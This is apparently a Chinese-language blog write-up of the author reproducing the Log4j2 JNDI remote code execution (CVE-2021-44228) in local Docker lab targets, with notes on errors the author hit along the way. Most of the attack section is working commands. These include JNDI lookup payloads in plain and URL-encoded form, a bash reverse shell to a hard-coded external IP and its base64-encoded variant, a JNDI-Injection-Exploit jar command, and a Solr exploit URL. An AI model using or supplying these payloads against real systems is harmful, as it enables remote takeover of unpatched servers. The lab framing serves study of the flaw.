1.log4j2漏洞验证:
1.搭建环境
1 2
| docker pull vulfocus/log4j2-rce-2021-12-09 docker run -d -p 7777:8080 vulfocus/log4j2-rce-2021-12-09
|
![image-20221111171330388](/../images/log4j2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20221111171330388.png)
2.漏洞验证
![image-20221111171456022](/../images/log4j2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20221111171456022.png)
1 2
| /hello?payload=${jndi:ldap://ocwtk0.dnslog.cn} /hello?payload=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%6f%63%77%74%6b%30%2e%64%6e%73%6c%6f%67%2e%63%6e%7d
|
![image-20221111171755366](/../images/log4j2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20221111171755366.png)
![image-20221111171929578](/../images/log4j2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20221111171929578.png)
2.漏洞利用
0环境:
1 2
| /vulhub/log4j/CVE-2021-44228 docker-compose up -d
|
![image-20221116213300815](/../images/log4j2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20221116213300815.png)
1.反弹shell命令
1
| bash -i >& /dev/tcp/39.105.51.11/7778 0>&1 #此处填写攻击机的ip和port
|
1
| YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx #由以上命令base64encode得到
|
1
| java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx}|{base64,-d}|{bash,-i}" -A 39.105.51.11 #此处的ip可以为第三台机器的ip,[ip3]
|
注意:以上第三个命令需要在攻击机上执行
![image-20221116212330810](/../images/log4j2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20221116212330810.png)
2.构造payload
1
| http://192.168.245.128:8983/solr/admin/cores?action=${jndi:ldap://39.105.51.11:1389/2xtaae}
|
![image-20221116212537500](/../images/log4j2%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/image-20221116212537500.png)
3.新手操作中遇到的错误总结!!!:
1.靶机的环境问题
1
| docker在vulfocus上拉取的vulfocus/log4j2-rce-2021-12-09靶机环境缺乏反弹shell需要的命令,导致靶机上不能成功反弹shell
|
1 2
| 通过vulhub上的vulhub/log4j/CVE-2021-44228 docker-compose -d启动靶机 访问路径http://192.168.245.128:8983/solr/admin/cores?action=123
|
前者可以漏洞验证,后者才能反弹shell
2.三台机器的关系
1 2 3 4 5
| 服务器IP1,攻击机ip2,server-log机器ip3,用户ip4
攻击机ip2存在于command中,只影响最后的反弹shell的反弹地址和端口; server-log机器ip3,需要具备java环境,并目录中有JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件,而且防火墙和安全组需要开启三个端口8180、1099、1389;最后生成的地址也是此机器的ip地址; 用户ip4需要拿着server-log生成的地址去访问ip1,即action=${jndi:ldap://39.105.51.11:1389/2xtaae}
|
攻击机和server-log机器可以为一台机器
3.反弹shell命令
1 2 3 4 5 6
| 首先需要在本地环境直接验证是否能反弹成功: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx}|{base64,-d}|{bash,-i}
注意不要再加''不然本地的时候可以成功,远程反弹shell时会出错 错误示例: bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OCAwPiYx}|{base64,-d}|{bash,-i}'
|
4.payload的问题
1
| 注意payload通过bp抓包的话需要url编码处理
|
3.结语
log4j2的复现过程中遇到了一系列的问题和麻烦,而这还是docker直接运行的环境,已经省去了自己配环境的很多麻烦。
但是在复现的过程中,依旧麻烦重重,环境问题,服务器问题,博客文章问题,粗心大意问题都存在着,而恰恰是找问题的过程中锻炼了我的能力,对漏洞利用理解的更加深刻。